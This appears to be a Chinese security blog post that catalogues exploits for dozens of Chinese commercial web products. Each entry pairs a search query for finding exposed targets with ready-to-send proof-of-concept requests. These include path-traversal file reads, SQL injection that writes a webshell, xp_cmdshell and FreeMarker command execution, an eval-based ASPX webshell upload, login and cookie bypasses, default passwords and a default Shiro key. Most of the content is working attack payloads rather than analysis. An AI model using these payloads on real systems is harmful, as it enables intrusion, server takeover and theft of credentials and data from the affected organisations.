极通EWEBS casmain.xgi 任意文件读取漏洞,攻击者通过漏洞可以读取任意文件

漏洞影响

极通EWEBS

网络测绘

app=”新软科技-极通EWEBS”

漏洞复现

登录页面如下

img

漏洞请求包为

POST /casmain.xgi HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 57

Language_S=../../../../windows/system32/drivers/etc/hosts

img

可以配合 testweb.php 信息泄露读取敏感信息

Language_S=../../Data/CONFIG/CasDbCnn.dat

金笛

金笛 短信中间件Web版 log 后台任意文件下载漏洞 CNVD-2021-57336

漏洞描述

金笛 短信中间件Web版后台存在任意文件下载漏洞,攻击者通过漏洞可以获取服务器任意文件信息

漏洞影响

金笛 短信中间件Web版

网络测绘

app=”金笛短信中间件(WEB版)”

漏洞复现

登录页面

img

存在漏洞的位置为 日志下载

img

验证POC

/log?action=view&pageIndex=1&name=../../../windows/win.ini

image-20240812144635335

金盘

微信管理平台 getsysteminfo 未授权访问漏洞

漏洞描述

金盘 微信管理平台 getsysteminfo接口存在未授权访问漏洞,攻击者通过漏洞可以获取账号密码信息,获取后台管理员权限

漏洞影响

金盘 微信管理平台

网络测绘

title=”微信管理后台” && icon_hash=”116323821”

漏洞复现

登陆页面

img

验证POC

/admin/weichatcfg/getsysteminfo

image-20240812144711436

久其软件

久其财务报表 download.jsp 任意文件读取漏洞

漏洞描述

久其财务报表 download.jsp 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的信息

漏洞影响

久其财务报表

网络测绘

body=”/netrep/“

漏洞复现

登录路径如下

img

发送请求包

POST /netrep/ebook/browse/download.jsp HTTP/1.1
Host: 
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

jpgfilepath=c:\windows\win.ini

image-20240812145016429

科达

MTS转码服务器 任意文件读取漏洞

漏洞描述

KEDACOM MTS转码服务器存在任意文件读取漏洞,攻击这通过漏洞可以读取服务器任意信息

漏洞影响

MTS转码服务器

网络测绘

app=”MTS转码服务器”

漏洞复现

登录页面

img

验证POC

/../../../../../../../../etc/passwd

image-20240812145054679

网络键盘控制台 任意文件读取漏洞

漏洞描述

KEDACOM 网络键盘控制台存在任意文件读取漏洞,攻击这通过漏洞可以读取服务器任意信息

漏洞影响

KEDACOM 网络键盘控制台

网络测绘

“网络键盘控制台”

漏洞复现

登录页面

img

验证POC

/../../../../../../../../etc/passwd

image-20240812145118867

科迈

RAS系统 Cookie验证越权漏洞

漏洞描述

科迈 RAS系统 存在Cookie验证越权,当 RAS_Admin_UserInfo_UserName 设置为 admin 时可访问后台

漏洞影响

科迈 RAS系统

网络测绘

app=”科迈-RAS系统”

漏洞复现

登录页面如下

img

添加Cookie

RAS_Admin_UserInfo_UserName=admin

img

访问 /Server/CmxUser.php?pgid=UserList

img

获取后可以添加用户,授权登陆设备直接接入内网

昆石网络

VOS3000虚拟运营支撑系统 %c0%ae%c0%ae 任意文件读取漏洞

漏洞描述

昆石网络 VOS3000虚拟运营支撑系统 通过 %c0%ae%c0%ae 等字符绕过检测,可导致任意文件读取漏洞

漏洞影响

昆石网络 VOS3000虚拟运营支撑系统

网络测绘

app=”VOS-VOS3000”

漏洞复现

登录页面

img

验证POC

/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

image-20240812145250899

零视科技

CNVD-2020-67113

H5S视频平台 GetUserInfo 信息泄漏漏洞

漏洞描述

零视技术(上海)有限公司是以领先的视频技术服务于客户,致力于物联网视频开发简单化,依托于HTML5 WebRTC 等新的技术,实现全平台视频播放简单化。
零视技术(上海)有限公司H5S CONSOLE存在未授权访问漏洞。攻击者可利用漏洞访问后台相应端口,执行未授权操作。

漏洞影响

零视科技 H5S视频平台

网络测绘

title=”H5S视频平台|WEB”

漏洞复现

登录页面

img

API文档可以未授权访问

/doc/api.html

img

存在用户账号密码泄漏的接口

/api/v1/GetUserInfo?user=admin&session=

img

其中登录接口中 Password为接口中存在的账号密码,可以直接发送请求获取Cookie

/api/v1/Login?user=admin&password=02ed400b8d9289f311fc1d68a83fdaaa

img

请求成功后访问主页面

image-20240812145724861

魅课

OM视频会议系统 proxy.php 文件包含漏洞

漏洞描述

魅课OM视频会议系统 proxy.php文件target参数存在本地文件包含漏洞。攻击者可借助该漏洞无需登录便可下载任意文件。

漏洞影响

魅课OM视频会议系统

网络测绘

app=”OMEETING-OM视频会议”

漏洞复现

登录页面

img

验证POC

/admin/do/proxy.php?method=get&target=../../../../../../../../../../windows/win.ini

image-20240812150338489

明源云

ERP系统 接口管家 ApiUpdate.ashx 任意文件上传漏洞

漏洞描述

明源云 ERP系统接口管家 ApiUpdate.ashx 文件存在任意文件上传漏洞,攻击者通过构造特殊的ZIP压缩包可以上传任意文件,控制服务器

漏洞影响

明源云 ERP系统接口管家

网络测绘

“接口管家站点正常!”

漏洞复现

登录页面

img

漏洞存在于某端口下的接口管家服务

img

验证POC

POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: 
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{hexdec(504B030414000000080063740E576AE37B2383000000940000001D0000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E6173707825CC490AC2401404D0BDA7685A02C9A62F90288A22041C42E2B0FE4A11033DD983E0EDFDE2AEA8575453AC444723C49EEC98392CE4662E45B16C185AE35D48E24806D1D3836DF8C404A3DAD37F227A066723D42D4C09A53C23A66BD65656F56ED2505B68703F20BC11D4817C47E959F678651EAA4BD06A7D8F4EE7841F5455CDB7B32F504B0102140314000000080063740E576AE37B2383000000940000001D00000000000000000000008001000000002E2E2F2E2E2F2E2E2F666463636C6F75642F5F2F746573742E61737078504B050600000000010001004B000000BE0000000000)}}

img

/fdccloud/_/test.aspx

七牛云

七牛云 logkit log_path 任意文件读取漏洞

漏洞描述

七牛云 logkit log_path 参数可自定义读取服务器文件,配合读取的文件写入Web目录将会使攻击者读取到服务器任意文件,造成服务器敏感信息泄漏

漏洞影响

七牛云 logkit V1.4.1

网络测绘

title=”七牛Logkit配置文件助手”

漏洞复现

主页面

img

发送请求包配置读取文件

PUT /logkit/configs/passwdread HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 356
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

{
  "name": "passwdread",
  "batch_interval": 1,
  "collect_interval": 1,
  "reader": {
    "mode": "file",
    "log_path": "/etc/passwd",
    "read_from": "oldest",
    "datasource_tag": "datasource",
    "encoding": "UTF-8"
  },
  "parser": {
    "type": "raw",
    "name": "parser",
    "timestamp": "true"
  },
  "transforms": [],
  "senders": [
    {
      "sender_type": "file",
      "file_send_path": "/app/public/passwd.log"
    }
  ]
}

img

img

请求读取的文件 /app/public 目录为Docker默认Web路径,写入可读取目标文件

image-20240812150519238

企望

企望制造 ERP comboxstore.action 远程命令执行漏洞

漏洞描述

企望制造 ERP comboxstore.action接口存在远程命令执行漏洞,攻击者通过漏洞可以获取服务器权限,执行任意命令

漏洞影响

企望制造 ERP

网络测绘

title=”企望制造ERP系统”

漏洞复现

登陆页面

img

验证POC

POST /mainFunctions/comboxstore.action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 

comboxsql=exec%20xp_cmdshell%20'type%20C:\Windows\Win.ini'

image-20240812151201749

任我行

任我行 CRM SmsDataList SQL注入漏洞

漏洞描述

任我行 CRM SmsDataList 接口存在SQL注入漏洞,攻击者通过漏洞可以执行任意数据库语句,获取敏感信息

漏洞影响

任我行 CRM

网络测绘

“欢迎使用任我行CRM”

漏洞复现

登陆页面

img

验证POC

POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 

Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=0000000000' and 1=convert(int,(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123456')))) AND 'CvNI'='CvNI

image-20240812151513462

瑞友

应用虚拟化系统 GetBSAppUrl SQL注入漏洞

漏洞描述

瑞友 应用虚拟化系统 GetBSAppUrl方法存在SQL注入漏洞,由于参数传入没有进行过滤导致存在SQL注入,攻击者通过漏洞可以获取数据库敏感信息

漏洞影响

瑞友应用虚拟化系统 7.0.2.1

网络测绘

“CASMain.XGI?cmd=GetDirApp” && title==”瑞友应用虚拟化系统”

漏洞复现

登陆页面

img

在 GetBSAppUrl 方法中存在SQL注入漏洞,通过漏洞可以写入Webshell文件

img

验证POC

/index.php?s=/Agent/GetBSAppUrl/AppID/')%3bselect+0x3c3f70687020706870696e666f28293b3f3e+into+outfile+%27C%3a\\Program+Files+(x86)\\RealFriend\\Rap+Server\\WebRoot\\test7.php%27%23/123

img

/test7.php

image-20240812151602909

若依

CNVD-2021-01931

若依管理系统 后台任意文件读取

漏洞描述

若依管理系统是基于SpringBoot的权限管理系统,登录后台后可以读取服务器上的任意文件

漏洞影响

RuoYi < v4.5.1

网络测绘

app=”若依-管理系统”

漏洞复现

登录后台后访问 Url

/common/download/resource?resource=/profile/../../../../etc/passwd

img

访问后会下载文件 /etc/passwd

img

可以使用Burp抓包改变 /etc/passwd 为其他文件路径获取敏感信息

img

img

在新版本的修复中添加了过滤

image-20240812152808409

拓尔思

拓尔思 MAS testCommandExecutor.jsp 远程命令执行漏洞

漏洞描述

拓尔思 MAS testCommandExecutor.jsp测试文件存在远程命令执行漏洞,当网站运维者未删除测试文件时,攻击者通过漏洞可以获取服务器权限

漏洞影响

拓尔思-MAS

网络测绘

“MAS媒资管理系统登录页面”

漏洞复现

主页面

img

验证POC

/mas/front/vod/main.do?method=newList&view=forward:/sysinfo/testCommandExecutor.jsp&cmdLine=dir&workDir=&pathEnv=&libPathEnv=

image-20240812154216987

腾讯

企业微信 agentinfo 信息泄漏漏洞

漏洞描述

腾讯 企业微信 agentinfo 接口存在信息泄漏漏洞,攻击者通过漏洞可以获取企业微信 Secret

漏洞影响

腾讯 企业微信

网络测绘

body=”wework_admin.normal_layout”

漏洞复现

登陆页面

img

验证POC

/cgi-bin/gateway/agentinfo

image-20240812155229666

霆智科技

霆智科技 VA虚拟应用平台 任意文件读取漏洞

漏洞描述

霆智科技 VA虚拟应用平台 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中敏感信息

漏洞影响

霆智科技 VA虚拟应用平台

网络测绘

body=”EAA益和应用接入系统”

漏洞复现

登陆页面

img

验证POC

/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini

image-20240812155542112

图创软件

图书馆站群管理系统 任意文件读取漏洞

漏洞描述

图创软件 图书馆站群管理系统 存在任意文件读取漏洞,攻击者通过漏洞可以读取任意文件

漏洞影响

图创软件 图书馆站群管理系统

网络测绘

“广州图创” && country=”CN” && body=”/interlib/common/“

漏洞复现

登录页面如下

img

漏洞请求包为

GET /interlib/report/ShowImage?localPath=C:\Windows\system.ini HTTP/1.1
Host: 
Content-Length: 4

img

成功读取 system.ini文件

新开普

前置服务管理平台 service.action 远程命令执行漏洞

漏洞描述

新开普 前置服务管理平台 service.action 接口存在远程命令执行漏洞,攻击者通过漏洞可以获取服务器权限

漏洞影响

新开普 前置服务管理平台

网络测绘

title=”掌上校园服务管理平台”

漏洞复现

登陆页面

img

验证POC

POST /service_transport/service.action HTTP/1.1
Host: 
Accept: */*
Content-Type: application/json

{"command":"GetFZinfo","UnitCode":"<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo Test > ./webapps/ROOT/Test.txt\")}"}

img

image-20240812155651395

信诺瑞得

信诺瑞得 WiseGrid慧敏应用交付网关 sysadmin_action.php 后台命令执行漏洞

漏洞描述

信诺瑞得 WiseGrid慧敏应用交付网关 sysadmin_action.php 对应的ping功能存在后台命令执行漏洞,通过默认口令可以获取系统权限

漏洞影响

信诺瑞得 WiseGrid慧敏应用交付网关

网络测绘

app=”WiseGrid慧敏应用交付网关”

漏洞复现

登录页面

img

默认口令

ssh:root/sinogrid
web: admin/sinogrid
POST /bin/sysadmin_action.php?action=getinfo&operation=ping&destination_value=`id`&ping_count=3&sar_value=3&netstat_value=tcp&interface= HTTP/1.1
Host: 
Cookie: PHPSESSID=4510o12llugti8k4f24971rdf2; funcs=NNN; appversion=WiseGrid-V4.2.2R_17322; hbstate=alone; username=admin; passwordmd5=ef9ffdf6c1e2fe91d4e14b30323fb771; role=superadmin; authmode=LOCAL; session_time=1639643323; lang=zh; declaration=1; needSyn=false
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Connection: close

img

image-20240812155945960

星锐蓝海

计费管理系统 debug.php 远程命令执行漏洞

漏洞描述

蓝海卓越计费管理系统 debug.php 存在命令调试页面,导致攻击者可以远程命令执行

漏洞影响

蓝海卓越计费管理系统

网络测绘

title==”蓝海卓越计费管理系统”

漏洞复现

登录页面如下

img

漏洞代码

img

访问 debug.php页面 远程调试命令执行

image-20240812160032996

计费管理系统 download.php 任意文件读取漏洞

漏洞描述

蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞,攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件

漏洞影响

蓝海卓越计费管理系统

网络测绘

title==”蓝海卓越计费管理系统”

漏洞复现

登录页面如下

img

出现漏洞的文件为 download.php ,其中 file参数 存在用户可控发送如下请求包

GET /download.php?file=../../../../../etc/passwd HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=qkoqsiilc4dol8s4e9d7ta15g7; mylang=zh_s

Connection: close

img

亿赛通

亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 任意文件上传漏洞

漏洞描述

亿赛通 电子文档安全管理系统 UploadFileFromClientServiceForClient 接口存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件到服务器中,获取主机权限

漏洞影响

亿赛通 电子文档安全管理系统

网络测绘

app=”亿赛通-电子文档安全管理系统”

漏洞复现

登录页面

img

验证POC

POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Content-Length: 1

Test

img

/tttT.jsp

参考链接

https://github.com/di0xide-U/YSTupload/blob/main/exp.md

银达汇智

智慧综合管理平台 FileDownLoad.aspx 任意文件读取漏洞

漏洞描述

银达汇智 智慧综合管理平台 FileDownLoad.aspx 存在任意文件读取漏洞,通过漏洞攻击者可下载服务器中的任意文件

漏洞影响

银达汇智 智慧综合管理平台

网络测绘

“汇智信息” && title=”智慧综合管理平台登入”

漏洞复现

登陆页面

img

验证POC

http://xxx.xxx.xxx.xxx/Module/FileManagement/FileDownLoad.aspx?filePath=../../web.config

image-20240812163604082

银达汇智 智慧综合管理平台 FileUp.aspx 任意文件上传漏洞

漏洞描述

银达汇智 智慧综合管理平台 FileDownLoad.aspx 存在任意文件读取漏洞,通过漏洞攻击者可下载服务器中的任意文件

漏洞影响

银达汇智 智慧综合管理平台

网络测绘

“汇智信息” && title==”智慧综合管理平台登入”

漏洞复现

登陆页面

img

文件上传请求包

POST /Module/FileUpPage/FileUp.aspx?orgid=1&type=NNewsContent HTTP/1.1
Host: 
Accept-Encoding: identity
Content-Length: 337
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=62907949903a4c499178971c9dab4ad9

--62907949903a4c499178971c9dab4ad9
Content-Disposition: form-data; name="Filedata"; filename="abc.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript"%><%Response.Write(FormsAuthentication.HashPasswordForStoringInConfigFile("abc", "MD5").ToLower());eval(Request.Item["cmd"],"unsafe");%>
--62907949903a4c499178971c9dab4ad9--

img

响应包会返回文件名,上传的目录为

/imgnews/imgcontent/1/xxxxxxxxxx.aspx

img

出现如图成功上传木马,密码为 cmd

银澎云计算

CNVD-2020-62437

银澎云计算 好视通视频会议系统 任意文件下载

漏洞描述

银澎云计算 好视通视频会议系统 存在任意文件下载,攻击者可以通过漏洞获取敏感信息

漏洞影响

银澎云计算 好视通视频会议系统

网络测绘

app=”Hanming-Video-Conferencing”

漏洞复现

登录页面如下

img

漏洞Url为

https://xxx.xxx.xxx.xxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini

image-20240812164138188

云时空ERP

云时空 社会化商业ERP系统 Shiro框架 远程命令执行漏洞

漏洞描述

云时空 社会化商业ERP为 Shiro框架 ,使用了默认的密钥导致了远程命令执行漏洞

漏洞影响

云时空 社会化商业ERP系统

网络测绘

title=”云时空社会化商业ERP”

漏洞复现

登录页面

img

默认密钥为

kPH+bIxk5D2deZiIxcaaaA==

image-20240812165105224

云时空 社会化商业ERP系统 validateLoginName SQL注入漏洞

漏洞描述

云时空 社会化商业ERP系统存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息

漏洞影响

云时空 社会化商业ERP系统

网络测绘

title=”云时空社会化商业ERP”

漏洞复现

登录页面

img

使用SQLmap验证漏洞

sqlmap -u "http://xxx.xxx.xxx.xxx/sys/user/validateLoginName?loginName=admin"

image-20240812165127918

中创视讯

会捷通云视讯 fileDownload 任意文件读取漏洞

漏洞描述

会捷通云视讯 fileDownload 存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器上的任意文件

漏洞影响

会捷通云视讯

网络测绘

body=”/him/api/rest/v1.0/node/role”

漏洞复现

登陆页面如下

img

发送请求包

POST /fileDownload?action=downloadBackupFile HTTP/1.1
Host: 
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

fullPath=%2Fetc%2Fpasswd

img

会捷通云视讯 list 目录文件泄露漏洞

漏洞描述

会捷通云视讯某个文件 list参数 存在目录文件泄露漏洞,攻击者通过漏洞可以获取一些敏感信息

漏洞影响

会捷通云视讯

网络测绘

body=”/him/api/rest/v1.0/node/role”

漏洞复现

登陆页面如下

img

访问Url

/him/api/rest/V1.0/system/log/list?filePath=../

img

会捷通云视讯 登录绕过漏洞

漏洞描述

会捷通云视讯存在登陆绕过漏洞,通过拦截特定的请求包并修改即可获取后台权限

漏洞影响

会捷通云视讯

网络测绘

body=”/him/api/rest/v1.0/node/role”

漏洞复现

登陆页面如下

img

输入任意账号密码抓包

img

修改返回包为如下后放包则成功绕过登录

HTTP/1.1 200 
Server: Hsengine/1.4.1
Date: Mon, 17 May 2021 16:13:43 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Accept-Ranges: bytes
Vary: Accept-Charset, Accept-Encoding, Accept-Language, Accept
Content-Length: 61

{"token":null,"result":null}

image-20240812165349320

众望网络

众望网络 微议管理系统 后台updatefile.html 任意文件上传漏洞

漏洞描述

众望网络 微议管理系统 后台updatefile.html页面任意文件上传漏洞,攻击者通过漏洞可以上传恶意文件控制服务器

漏洞影响

众望网络 微议管理系统

网络测绘

“微议管理系统”

漏洞复现

登录页面

img

默认口令 amdin/admin, 服务器更新界面上传PHP文件

img

访问页面

/Updatefiles/文件名.php

image-20240812165935947

紫光软件

CNVD-2021-41638

紫光档案管理系统 editPass.html SQL注入漏洞

漏洞描述

紫光软件系统有限公司(以下简称“紫光软件”)是中国领先的行业解决方案和IT服务提供商。
紫光电子档案管理系统存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。

漏洞影响

紫光电子档案管理系统

网络测绘

app=”紫光档案管理系统”

漏洞复现

登录页面

img

验证POC

/login/Login/editPass.html?comid=extractvalue(1,concat(char(126),md5(1)))

image-20240812170021500

紫光档案管理系统 upload.html 后台文件上传漏洞

漏洞描述

紫光软件系统有限公司(以下简称“紫光软件”)是中国领先的行业解决方案和IT服务提供商。
紫光电子档案管理系统后台存在文件上传漏洞。攻击者可利用漏洞获取数据库敏感信息。

漏洞影响

紫光电子档案管理系统

网络测绘

app=”紫光档案管理系统”

漏洞复现

登录页面

img

使用默认口令登录后台 admin/admin, 发送请求包

img

POST /System/Cms/upload.html?token=5117e82385cef4c12547fdd4c028b97a1-1 HTTP/1.1
Host: 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 614
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygIRYWNxmDYiZBguT

------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="userID"

admin
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="fondsid"

1
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="comid"

1
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="token"

6b79a77180e9ec3a7ca351ebe54641a2
------WebKitFormBoundarygIRYWNxmDYiZBguT
Content-Disposition: form-data; name="files[]"; filename="phpinfo.php"
Content-Type: text/php

<?php phpinfo();?>
------WebKitFormBoundarygIRYWNxmDYiZBguT--

img

回显路径即为上传成功的文件路径

image-20240812170104466


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录